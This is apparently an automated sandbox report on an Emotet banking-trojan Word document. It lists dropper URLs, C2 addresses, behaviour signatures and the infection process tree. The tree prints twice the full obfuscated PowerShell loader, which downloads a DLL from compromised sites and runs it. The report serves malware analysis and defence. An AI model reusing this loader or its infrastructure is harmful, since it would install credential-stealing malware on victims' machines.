Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    23/12/2020, 01:56

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e2_c29f20dc33cf2304271a54734dc3746f342898284264bd66094dee544fc133bd_2020-12-23__015205947959._doc.doc
  • Size 209KB
  • Sample201223-srpg1y2p7s
  • SHA256 c29f20dc33cf2304271a54734dc3746f342898284264bd66094dee544fc133bd
  • MD5 SHA1 SHA512
Score
10/10
emotetepoch2bankertrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://venuspowerbd.com/wp-includes/bLm/
  • exe.dropper

    http://amyzeng.net/content/mgms/
  • exe.dropper

    http://www.aciparis.com/content/Cs/
  • exe.dropper

    http://sancydubai.com/setupconfigo/R9/
  • exe.dropper

    http://atom.lk/wp-content/DL/
  • exe.dropper

    http://datnenduanbd.com/public_html/Dezl7/
  • exe.dropper

    http://sanolifescence.com/cgi-bin/E/

Extracted

Family

  • emotet

Botnet

  • Epoch2

C2

  • 97.120.3.198:80

  • 70.180.33.202:80

  • 50.116.111.59:8080

  • 173.249.20.233:443

  • 188.165.214.98:8080

  • 172.104.97.173:8080

  • 41.185.28.84:8080

  • 120.150.218.241:443

  • 217.20.166.178:7080

  • 67.10.155.92:80

  • 188.219.31.12:80

  • 120.150.60.189:80

  • 108.21.72.56:443

  • 186.74.215.34:80

  • 144.217.7.207:7080

  • 152.170.205.73:80

  • 49.205.182.134:80

  • 187.161.206.24:80

  • 95.213.236.64:8080

  • 74.40.205.197:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_c29f20dc33cf2304271a54734dc3746f342898284264bd66094dee544fc133bd_2020-12-23__015205947959._doc.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:836
  • C:\Windows\system32\cmd.exe
    cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAgACQAQQBIADYASwA9ACAAWwB0AHkAcABlAF0AKAAiAHsANAB9AHsAMgB9AHsAMAB9AHsANQB9AHsAMwB9AHsAMQB9ACIALQBGACAAJwAuAEkATwAuACcALAAnAHkAJwAsACcAbQAnACwAJwBDAFQATwBSACcALAAnAHMAeQBTAHQAZQAnACwAJwBkAGkAcgBFACcAKQA7ACAAIAAgAFMAZQB0AC0ASQB0AEUAbQAgACgAIgB2AEEAcgAiACsAIgBpAEEAQgBMAGUAOgBGAHoAMAAiACsAIgBXACIAKwAiAEwAaAAiACkAIAAoAFsAVAB5AHAAZQBdACgAIgB7ADcAfQB7ADMAfQB7ADAAfQB7ADgAfQB7ADIAfQB7ADQAfQB7ADEAfQB7ADUAfQB7ADYAfQAiAC0AZgAgACcALgBuAGUAVAAuAHMAZQAnACwAJwBBACcALAAnAEkAbgB0AG0AQQAnACwAJwB0AEUATQAnACwAJwBuACcALAAnAGcAZQAnACwAJwByACcALAAnAHMAWQBzACcALAAnAFIAVgBpAEMARQBwAG8AJwApACAAIAApACAAIAA7ACQARAAxADcAVAA9ACgAKAAnAFgANQAnACsAJwA5ACcAKQArACcASAAnACkAOwAkAFMAMwBiADEAcgBmADAAPQAkAEsAMAA0AEMAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFIAOAA4AEcAOwAkAFAAMQA5AE8APQAoACgAJwBDADEAJwArACcANwAnACkAKwAnAFEAJwApADsAIAAgACgAIABWAGEAUgBpAGEAYgBsAGUAIABBAGgANgBLACAAKQAuAFYAQQBMAFUARQA6ADoAIgBDAHIAZQBhAHQAZQBkAGAASQByAEUAYABDAGAAVABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9AFoAJwArACgAJwBqADMAMQAnACsAJwA2ACcAKQArACcAawBuAHsAMAB9AFQAMgAnACsAJwAzAGgAJwArACcAZgBnAGoAewAwAH0AJwApACAAIAAtAGYAWwBjAGgAYQBSAF0AOQAyACkAKQA7ACQASwA3ADYAUAA9ACgAJwBLADcAJwArACcAMwBLACcAKQA7ACAAJABGAHoAMAB3AEwASAA6ADoAIgBTAEUAQwB1AFIASQB0AGAAWQBQAGAAUgBgAE8AdABgAE8AQwBvAGwAIgAgAD0AIAAoACgAJwBUAGwAJwArACcAcwAnACkAKwAnADEAMgAnACkAOwAkAFYAXwA1AFcAPQAoACcATQAnACsAKAAnADMAOAAnACsAJwBBACcAKQApADsAJABWAHQAeAA1AG0AbwB6ACAAPQAgACgAJwBNADUAJwArACcAXwBZACcAKQA7ACQAQQA0ADEAUAA9ACgAJwBWACcAKwAoACcAMAAyACcAKwAnAFYAJwApACkAOwAkAFYAegB0AGgAdgBuADUAPQAkAEgATwBNAEUAKwAoACgAJwBJACcAKwAnAFQAJwArACcAcQAnACsAJwBaACcAKwAoACcAagAzACcAKwAnADEAJwApACsAKAAnADYAawAnACsAJwBuAEkAJwApACsAKAAnAFQAcQAnACsAJwBUACcAKwAnADIAMwBoAGYAZwBqAEkAJwApACsAJwBUAHEAJwApAC0AUgBlAHAAbABhAGMARQAoAFsAYwBoAEEAcgBdADcAMwArAFsAYwBoAEEAcgBdADgANAArAFsAYwBoAEEAcgBdADEAMQAzACkALABbAGMAaABBAHIAXQA5ADIAKQArACQAVgB0AHgANQBtAG8AegArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQAVwA0ADgATgA9ACgAJwBEADYAJwArACcANABFACcAKQA7ACQAWQB3ADkAdgA3AHkAbgA9AE4ARQB3AGAALQBPAGIASgBgAEUAQwBUACAATgBlAFQALgBXAGUAYgBjAEwAaQBlAE4AVAA7ACQAVgA5AHoAcABsAGMAMQA9ACgAKAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKwAoACgAJwBzACcAKwAnADoAcQAnACsAJwBxACkAKABzADIAKQAoAHEAcQApACgAcwAyACcAKQApACsAKAAoACcAKQAnACsAJwAoAHYAZQBuAHUAJwApACkAKwAnAHMAcAAnACsAJwBvAHcAJwArACcAZQByACcAKwAnAGIAZAAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACgAJwBtACcAKwAnAHEAcQAnACkAKwAoACgAJwApACgAcwAyACkAJwArACcAKAAnACkAKQArACcAdwAnACsAJwBwAC0AJwArACgAJwBpAG4AYwAnACsAJwBsACcAKQArACgAJwB1AGQAJwArACcAZQAnACkAKwAoACgAJwBzAHEAJwArACcAcQAnACsAJwApACgAcwAnACkAKQArACcAMgAnACsAKAAoACcAKQAoACcAKQApACsAKAAnAGIAJwArACcATABtACcAKQArACcAcQAnACsAKAAoACcAcQApACgAJwArACcAcwAyACcAKQApACsAKAAoACcAKQAoACcAKQApACsAKAAnAEAAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAnACsAJwBxACcAKQArACgAKAAnAHEAKQAnACkAKQArACgAKAAnACgAcwAnACkAKQArACgAKAAnADIAKQAnACkAKQArACgAKAAnACgAcQAnACsAJwBxACcAKQApACsAKAAoACcAKQAoAHMAJwArACcAMgApACcAKwAnACgAYQAnACsAJwBtAHkAJwApACkAKwAoACcAegAnACsAJwBlAG4AZwAnACkAKwAnAC4AJwArACgAJwBuAGUAJwArACcAdAAnACkAKwAnAHEAcQAnACsAKAAoACcAKQAoACcAKwAnAHMAMgApACgAYwBvAG4AJwArACcAdABlACcAKwAnAG4AJwApACkAKwAnAHQAcQAnACsAJwBxACcAKwAoACgAJwApACgAcwAyACcAKwAnACkAKABtAGcAbQAnACkAKQArACgAKAAnAHMAJwArACcAcQBxACkAKABzACcAKQApACsAKAAoACcAMgAnACsAJwApACgAJwApACkAKwAoACcAQAAnACsAJwBoAHQAJwApACsAKAAoACcAdABwACcAKwAnADoAcQBxACcAKwAnACkAKABzADIAJwApACkAKwAnACkAJwArACgAKAAnACgAcQAnACkAKQArACgAKAAnAHEAJwArACcAKQAoAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKAB3ACcAKQApACsAJwB3ACcAKwAoACcAdwAuACcAKwAnAGEAYwAnACkAKwAoACcAaQBwAGEAJwArACcAcgBpACcAKQArACcAcwAnACsAKAAnAC4AYwBvACcAKwAnAG0AcQBxACcAKQArACgAKAAnACkAKABzACcAKwAnADIAKQAoACcAKQApACsAKAAnAGMAJwArACcAbwBuAHQAJwApACsAKAAnAGUAJwArACcAbgB0ACcAKQArACgAKAAnAHEAcQApACcAKwAnACgAcwAyACkAJwApACkAKwAoACgAJwAoAEMAcwBxACcAKwAnAHEAJwApACkAKwAoACgAJwApACgAcwAyACcAKwAnACkAKAAnACkAKQArACcAQAAnACsAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAKAAoACcAOgBxAHEAKQAoAHMAMgAnACsAJwApACcAKwAnACgAJwApACkAKwAoACgAJwBxACcAKwAnAHEAKQAoAHMAJwArACcAMgAnACkAKQArACcAKQAnACsAKAAoACcAKABzACcAKwAnAGEAJwApACkAKwAnAG4AJwArACgAJwBjAHkAZAB1ACcAKwAnAGIAJwApACsAKAAnAGEAJwArACcAaQAuACcAKQArACgAJwBjAG8AJwArACcAbQBxAHEAJwApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAcwAyACkAKABzAGUAdAB1AHAAYwAnACsAJwBvACcAKwAnAG4AZgAnACsAJwBpACcAKQApACsAJwBnAG8AJwArACgAKAAnAHEAcQAnACsAJwApACgAJwApACkAKwAnAHMAJwArACgAKAAnADIAKQAnACsAJwAoAFIAOQAnACsAJwBxAHEAKQAoACcAKwAnAHMAJwArACcAMgApACgAQABoAHQAdABwACcAKQApACsAJwA6ACcAKwAoACgAJwBxACcAKwAnAHEAKQAoAHMAMgAnACkAKQArACgAKAAnACkAJwArACcAKABxAHEAKQAnACkAKQArACcAKAAnACsAKAAoACcAcwAyACcAKwAnACkAKABhACcAKQApACsAKAAnAHQAJwArACcAbwBtACcAKQArACcALgBsACcAKwAnAGsAJwArACcAcQBxACcAKwAoACgAJwApACcAKwAnACgAcwAnACkAKQArACgAKAAnADIAJwArACcAKQAoACcAKQApACsAJwB3AHAAJwArACgAJwAtAGMAbwBuAHQAZQAnACsAJwBuACcAKQArACgAKAAnAHQAJwArACcAcQBxACkAKABzACcAKQApACsAKAAoACcAMgApACcAKQApACsAKAAoACcAKABEACcAKQApACsAKAAoACcATABxAHEAKQAoACcAKwAnAHMAMgApACgAJwArACcAQABoACcAKwAnAHQAJwApACkAKwAoACgAJwB0AHAAOgBxAHEAKQAnACsAJwAoAHMAJwArACcAMgApACcAKwAnACgAJwApACkAKwAnAHEAJwArACcAcQAnACsAKAAoACcAKQAoACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAKAAnACsAJwBkACcAKwAnAGEAdAAnACsAJwBuAGUAbgBkAHUAJwApACkAKwAoACgAJwBhAG4AYgBkAC4AYwAnACsAJwBvAG0AcQBxACcAKwAnACkAKABzACcAKQApACsAKAAoACcAMgApACcAKQApACsAJwAoACcAKwAoACcAcAB1ACcAKwAnAGIAbABpACcAKwAnAGMAXwAnACsAJwBoAHQAbQBsACcAKQArACgAKAAnAHEAJwArACcAcQApACgAJwArACcAcwAyACkAKABEAGUAegAnACkAKQArACcAbAAnACsAKAAnADcAcQAnACsAJwBxACcAKQArACgAKAAnACkAKABzADIAJwArACcAKQAnACkAKQArACgAKAAnACgAQAAnACkAKQArACcAaAAnACsAJwB0ACcAKwAoACcAdABwACcAKwAnADoAcQAnACkAKwAoACgAJwBxACkAJwApACkAKwAoACcAKABzACcAKwAnADIAKQAnACkAKwAoACgAJwAoAHEAJwApACkAKwAoACgAJwBxACcAKwAnACkAKAAnACkAKQArACgAKAAnAHMAMgApACgAJwArACcAcwAnACkAKQArACgAJwBhAG4AJwArACcAbwBsAGkAJwApACsAJwBmAGUAJwArACgAJwBzAGMAZQBuAGMAJwArACcAZQAuACcAKQArACcAYwBvACcAKwAoACgAJwBtACcAKwAnAHEAcQApACcAKQApACsAKAAoACcAKABzACcAKQApACsAKAAoACcAMgApACgAYwAnACsAJwBnACcAKQApACsAKAAnAGkALQAnACsAJwBiACcAKQArACgAJwBpACcAKwAnAG4AcQAnACkAKwAoACgAJwBxACkAKABzADIAJwArACcAKQAoAEUAJwArACcAcQBxACkAJwArACcAKAAnACkAKQArACgAKAAnAHMAMgApACcAKwAnACgAJwApACkAKQApAC4AIgByAGUAYABQAEwAQQBDAEUAIgAoACgAKAAoACgAJwBxACcAKwAnAHEAKQAoACcAKQApACsAKAAoACcAcwAyACcAKwAnACkAJwApACkAKwAnACgAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAHMAYABQAGwASQBUACIAKAAkAFAAOABfAFIAIAArACAAJABTADMAYgAxAHIAZgAwACAAKwAgACQAVgA1ADcATwApADsAJABZADcANwBVAD0AKAAnAEQANgAnACsAJwA3AEMAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABFADAAdQBkAHgAbgA1ACAAaQBuACAAJABWADkAegBwAGwAYwAxACAAfAAgAHMAYABvAFIAdAAtAGAAbwBCAGoARQBjAFQAIAB7AGcAYABlAGAAVAAtAFIAYQBgAE4AZABvAG0AfQApAHsAdAByAHkAewAkAFkAdwA5AHYANwB5AG4ALgAiAGQAbwBgAFcAYABOAEwATwBBAGQAZgBpAGwARQAiACgAJABFADAAdQBkAHgAbgA1ACwAIAAkAFYAegB0AGgAdgBuADUAKQA7ACQAWgAwADcARwA9ACgAJwBEADYAJwArACcAMgBUACcAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtAEkAdABlAG0AJwApACAAJABWAHoAdABoAHYAbgA1ACkALgAiAEwAYABFAGAATgBHAHQASAAiACAALQBnAGUAIAA0ADgANwA0ADYAKQAgAHsAJgAoACcAcgB1AG4AZABsAGwAMwAnACsAJwAyACcAKQAgACQAVgB6AHQAaAB2AG4ANQAsACcAIwAxACcALgAiAFQATwBzAFQAUgBpAGAATgBnACIAKAApADsAJABFADkANgBHAD0AKAAnAEoAJwArACgAJwA0AF8AJwArACcATQAnACkAKQA7AGIAcgBlAGEAawA7ACQASAA3ADkAUgA9ACgAKAAnAFUAXwAnACsAJwBfACcAKQArACcARAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFkAMwBfAE0APQAoACcAQgAnACsAKAAnADgAJwArACcAOABOACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:916
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:1444
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POwersheLL -w hidden -ENCOD IAAgACQAQQBIADYASwA9ACAAWwB0AHkAcABlAF0AKAAiAHsANAB9AHsAMgB9AHsAMAB9AHsANQB9AHsAMwB9AHsAMQB9ACIALQBGACAAJwAuAEkATwAuACcALAAnAHkAJwAsACcAbQAnACwAJwBDAFQATwBSACcALAAnAHMAeQBTAHQAZQAnACwAJwBkAGkAcgBFACcAKQA7ACAAIAAgAFMAZQB0AC0ASQB0AEUAbQAgACgAIgB2AEEAcgAiACsAIgBpAEEAQgBMAGUAOgBGAHoAMAAiACsAIgBXACIAKwAiAEwAaAAiACkAIAAoAFsAVAB5AHAAZQBdACgAIgB7ADcAfQB7ADMAfQB7ADAAfQB7ADgAfQB7ADIAfQB7ADQAfQB7ADEAfQB7ADUAfQB7ADYAfQAiAC0AZgAgACcALgBuAGUAVAAuAHMAZQAnACwAJwBBACcALAAnAEkAbgB0AG0AQQAnACwAJwB0AEUATQAnACwAJwBuACcALAAnAGcAZQAnACwAJwByACcALAAnAHMAWQBzACcALAAnAFIAVgBpAEMARQBwAG8AJwApACAAIAApACAAIAA7ACQARAAxADcAVAA9ACgAKAAnAFgANQAnACsAJwA5ACcAKQArACcASAAnACkAOwAkAFMAMwBiADEAcgBmADAAPQAkAEsAMAA0AEMAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFIAOAA4AEcAOwAkAFAAMQA5AE8APQAoACgAJwBDADEAJwArACcANwAnACkAKwAnAFEAJwApADsAIAAgACgAIABWAGEAUgBpAGEAYgBsAGUAIABBAGgANgBLACAAKQAuAFYAQQBMAFUARQA6ADoAIgBDAHIAZQBhAHQAZQBkAGAASQByAEUAYABDAGAAVABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9AFoAJwArACgAJwBqADMAMQAnACsAJwA2ACcAKQArACcAawBuAHsAMAB9AFQAMgAnACsAJwAzAGgAJwArACcAZgBnAGoAewAwAH0AJwApACAAIAAtAGYAWwBjAGgAYQBSAF0AOQAyACkAKQA7ACQASwA3ADYAUAA9ACgAJwBLADcAJwArACcAMwBLACcAKQA7ACAAJABGAHoAMAB3AEwASAA6ADoAIgBTAEUAQwB1AFIASQB0AGAAWQBQAGAAUgBgAE8AdABgAE8AQwBvAGwAIgAgAD0AIAAoACgAJwBUAGwAJwArACcAcwAnACkAKwAnADEAMgAnACkAOwAkAFYAXwA1AFcAPQAoACcATQAnACsAKAAnADMAOAAnACsAJwBBACcAKQApADsAJABWAHQAeAA1AG0AbwB6ACAAPQAgACgAJwBNADUAJwArACcAXwBZACcAKQA7ACQAQQA0ADEAUAA9ACgAJwBWACcAKwAoACcAMAAyACcAKwAnAFYAJwApACkAOwAkAFYAegB0AGgAdgBuADUAPQAkAEgATwBNAEUAKwAoACgAJwBJACcAKwAnAFQAJwArACcAcQAnACsAJwBaACcAKwAoACcAagAzACcAKwAnADEAJwApACsAKAAnADYAawAnACsAJwBuAEkAJwApACsAKAAnAFQAcQAnACsAJwBUACcAKwAnADIAMwBoAGYAZwBqAEkAJwApACsAJwBUAHEAJwApAC0AUgBlAHAAbABhAGMARQAoAFsAYwBoAEEAcgBdADcAMwArAFsAYwBoAEEAcgBdADgANAArAFsAYwBoAEEAcgBdADEAMQAzACkALABbAGMAaABBAHIAXQA5ADIAKQArACQAVgB0AHgANQBtAG8AegArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQAVwA0ADgATgA9ACgAJwBEADYAJwArACcANABFACcAKQA7ACQAWQB3ADkAdgA3AHkAbgA9AE4ARQB3AGAALQBPAGIASgBgAEUAQwBUACAATgBlAFQALgBXAGUAYgBjAEwAaQBlAE4AVAA7ACQAVgA5AHoAcABsAGMAMQA9ACgAKAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKwAoACgAJwBzACcAKwAnADoAcQAnACsAJwBxACkAKABzADIAKQAoAHEAcQApACgAcwAyACcAKQApACsAKAAoACcAKQAnACsAJwAoAHYAZQBuAHUAJwApACkAKwAnAHMAcAAnACsAJwBvAHcAJwArACcAZQByACcAKwAnAGIAZAAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACgAJwBtACcAKwAnAHEAcQAnACkAKwAoACgAJwApACgAcwAyACkAJwArACcAKAAnACkAKQArACcAdwAnACsAJwBwAC0AJwArACgAJwBpAG4AYwAnACsAJwBsACcAKQArACgAJwB1AGQAJwArACcAZQAnACkAKwAoACgAJwBzAHEAJwArACcAcQAnACsAJwApACgAcwAnACkAKQArACcAMgAnACsAKAAoACcAKQAoACcAKQApACsAKAAnAGIAJwArACcATABtACcAKQArACcAcQAnACsAKAAoACcAcQApACgAJwArACcAcwAyACcAKQApACsAKAAoACcAKQAoACcAKQApACsAKAAnAEAAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAnACsAJwBxACcAKQArACgAKAAnAHEAKQAnACkAKQArACgAKAAnACgAcwAnACkAKQArACgAKAAnADIAKQAnACkAKQArACgAKAAnACgAcQAnACsAJwBxACcAKQApACsAKAAoACcAKQAoAHMAJwArACcAMgApACcAKwAnACgAYQAnACsAJwBtAHkAJwApACkAKwAoACcAegAnACsAJwBlAG4AZwAnACkAKwAnAC4AJwArACgAJwBuAGUAJwArACcAdAAnACkAKwAnAHEAcQAnACsAKAAoACcAKQAoACcAKwAnAHMAMgApACgAYwBvAG4AJwArACcAdABlACcAKwAnAG4AJwApACkAKwAnAHQAcQAnACsAJwBxACcAKwAoACgAJwApACgAcwAyACcAKwAnACkAKABtAGcAbQAnACkAKQArACgAKAAnAHMAJwArACcAcQBxACkAKABzACcAKQApACsAKAAoACcAMgAnACsAJwApACgAJwApACkAKwAoACcAQAAnACsAJwBoAHQAJwApACsAKAAoACcAdABwACcAKwAnADoAcQBxACcAKwAnACkAKABzADIAJwApACkAKwAnACkAJwArACgAKAAnACgAcQAnACkAKQArACgAKAAnAHEAJwArACcAKQAoAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKAB3ACcAKQApACsAJwB3ACcAKwAoACcAdwAuACcAKwAnAGEAYwAnACkAKwAoACcAaQBwAGEAJwArACcAcgBpACcAKQArACcAcwAnACsAKAAnAC4AYwBvACcAKwAnAG0AcQBxACcAKQArACgAKAAnACkAKABzACcAKwAnADIAKQAoACcAKQApACsAKAAnAGMAJwArACcAbwBuAHQAJwApACsAKAAnAGUAJwArACcAbgB0ACcAKQArACgAKAAnAHEAcQApACcAKwAnACgAcwAyACkAJwApACkAKwAoACgAJwAoAEMAcwBxACcAKwAnAHEAJwApACkAKwAoACgAJwApACgAcwAyACcAKwAnACkAKAAnACkAKQArACcAQAAnACsAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAKAAoACcAOgBxAHEAKQAoAHMAMgAnACsAJwApACcAKwAnACgAJwApACkAKwAoACgAJwBxACcAKwAnAHEAKQAoAHMAJwArACcAMgAnACkAKQArACcAKQAnACsAKAAoACcAKABzACcAKwAnAGEAJwApACkAKwAnAG4AJwArACgAJwBjAHkAZAB1ACcAKwAnAGIAJwApACsAKAAnAGEAJwArACcAaQAuACcAKQArACgAJwBjAG8AJwArACcAbQBxAHEAJwApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAcwAyACkAKABzAGUAdAB1AHAAYwAnACsAJwBvACcAKwAnAG4AZgAnACsAJwBpACcAKQApACsAJwBnAG8AJwArACgAKAAnAHEAcQAnACsAJwApACgAJwApACkAKwAnAHMAJwArACgAKAAnADIAKQAnACsAJwAoAFIAOQAnACsAJwBxAHEAKQAoACcAKwAnAHMAJwArACcAMgApACgAQABoAHQAdABwACcAKQApACsAJwA6ACcAKwAoACgAJwBxACcAKwAnAHEAKQAoAHMAMgAnACkAKQArACgAKAAnACkAJwArACcAKABxAHEAKQAnACkAKQArACcAKAAnACsAKAAoACcAcwAyACcAKwAnACkAKABhACcAKQApACsAKAAnAHQAJwArACcAbwBtACcAKQArACcALgBsACcAKwAnAGsAJwArACcAcQBxACcAKwAoACgAJwApACcAKwAnACgAcwAnACkAKQArACgAKAAnADIAJwArACcAKQAoACcAKQApACsAJwB3AHAAJwArACgAJwAtAGMAbwBuAHQAZQAnACsAJwBuACcAKQArACgAKAAnAHQAJwArACcAcQBxACkAKABzACcAKQApACsAKAAoACcAMgApACcAKQApACsAKAAoACcAKABEACcAKQApACsAKAAoACcATABxAHEAKQAoACcAKwAnAHMAMgApACgAJwArACcAQABoACcAKwAnAHQAJwApACkAKwAoACgAJwB0AHAAOgBxAHEAKQAnACsAJwAoAHMAJwArACcAMgApACcAKwAnACgAJwApACkAKwAnAHEAJwArACcAcQAnACsAKAAoACcAKQAoACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAKAAnACsAJwBkACcAKwAnAGEAdAAnACsAJwBuAGUAbgBkAHUAJwApACkAKwAoACgAJwBhAG4AYgBkAC4AYwAnACsAJwBvAG0AcQBxACcAKwAnACkAKABzACcAKQApACsAKAAoACcAMgApACcAKQApACsAJwAoACcAKwAoACcAcAB1ACcAKwAnAGIAbABpACcAKwAnAGMAXwAnACsAJwBoAHQAbQBsACcAKQArACgAKAAnAHEAJwArACcAcQApACgAJwArACcAcwAyACkAKABEAGUAegAnACkAKQArACcAbAAnACsAKAAnADcAcQAnACsAJwBxACcAKQArACgAKAAnACkAKABzADIAJwArACcAKQAnACkAKQArACgAKAAnACgAQAAnACkAKQArACcAaAAnACsAJwB0ACcAKwAoACcAdABwACcAKwAnADoAcQAnACkAKwAoACgAJwBxACkAJwApACkAKwAoACcAKABzACcAKwAnADIAKQAnACkAKwAoACgAJwAoAHEAJwApACkAKwAoACgAJwBxACcAKwAnACkAKAAnACkAKQArACgAKAAnAHMAMgApACgAJwArACcAcwAnACkAKQArACgAJwBhAG4AJwArACcAbwBsAGkAJwApACsAJwBmAGUAJwArACgAJwBzAGMAZQBuAGMAJwArACcAZQAuACcAKQArACcAYwBvACcAKwAoACgAJwBtACcAKwAnAHEAcQApACcAKQApACsAKAAoACcAKABzACcAKQApACsAKAAoACcAMgApACgAYwAnACsAJwBnACcAKQApACsAKAAnAGkALQAnACsAJwBiACcAKQArACgAJwBpACcAKwAnAG4AcQAnACkAKwAoACgAJwBxACkAKABzADIAJwArACcAKQAoAEUAJwArACcAcQBxACkAJwArACcAKAAnACkAKQArACgAKAAnAHMAMgApACcAKwAnACgAJwApACkAKQApAC4AIgByAGUAYABQAEwAQQBDAEUAIgAoACgAKAAoACgAJwBxACcAKwAnAHEAKQAoACcAKQApACsAKAAoACcAcwAyACcAKwAnACkAJwApACkAKwAnACgAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAHMAYABQAGwASQBUACIAKAAkAFAAOABfAFIAIAArACAAJABTADMAYgAxAHIAZgAwACAAKwAgACQAVgA1ADcATwApADsAJABZADcANwBVAD0AKAAnAEQANgAnACsAJwA3AEMAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABFADAAdQBkAHgAbgA1ACAAaQBuACAAJABWADkAegBwAGwAYwAxACAAfAAgAHMAYABvAFIAdAAtAGAAbwBCAGoARQBjAFQAIAB7AGcAYABlAGAAVAAtAFIAYQBgAE4AZABvAG0AfQApAHsAdAByAHkAewAkAFkAdwA5AHYANwB5AG4ALgAiAGQAbwBgAFcAYABOAEwATwBBAGQAZgBpAGwARQAiACgAJABFADAAdQBkAHgAbgA1ACwAIAAkAFYAegB0AGgAdgBuADUAKQA7ACQAWgAwADcARwA9ACgAJwBEADYAJwArACcAMgBUACcAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtAEkAdABlAG0AJwApACAAJABWAHoAdABoAHYAbgA1ACkALgAiAEwAYABFAGAATgBHAHQASAAiACAALQBnAGUAIAA0ADgANwA0ADYAKQAgAHsAJgAoACcAcgB1AG4AZABsAGwAMwAnACsAJwAyACcAKQAgACQAVgB6AHQAaAB2AG4ANQAsACcAIwAxACcALgAiAFQATwBzAFQAUgBpAGAATgBnACIAKAApADsAJABFADkANgBHAD0AKAAnAEoAJwArACgAJwA0AF8AJwArACcATQAnACkAKQA7AGIAcgBlAGEAawA7ACQASAA3ADkAUgA9ACgAKAAnAFUAXwAnACsAJwBfACcAKQArACcARAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFkAMwBfAE0APQAoACcAQgAnACsAKAAnADgAJwArACcAOABOACcAKQApAA==
        2⤵
        • Blocklisted process makes network request
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1592
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Zj316kn\T23hfgj\M5_Y.dll #1
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1540
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Zj316kn\T23hfgj\M5_Y.dll #1
            4⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious use of WriteProcessMemory
            PID:1952
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Rktk\vfl.aah",RunDLL
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              PID:1600

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/836-2-0x0000000000373000-0x0000000000377000-memory.dmp
          Download

          memory/1472-22-0x000007FEF69C0000-0x000007FEF6C3A000-memory.dmp
          Download

          memory/1592-11-0x000000001C410000-0x000000001C411000-memory.dmp
          Download

          memory/1592-10-0x000000001C380000-0x000000001C381000-memory.dmp
          Download

          memory/1592-9-0x0000000001DC0000-0x0000000001DC1000-memory.dmp
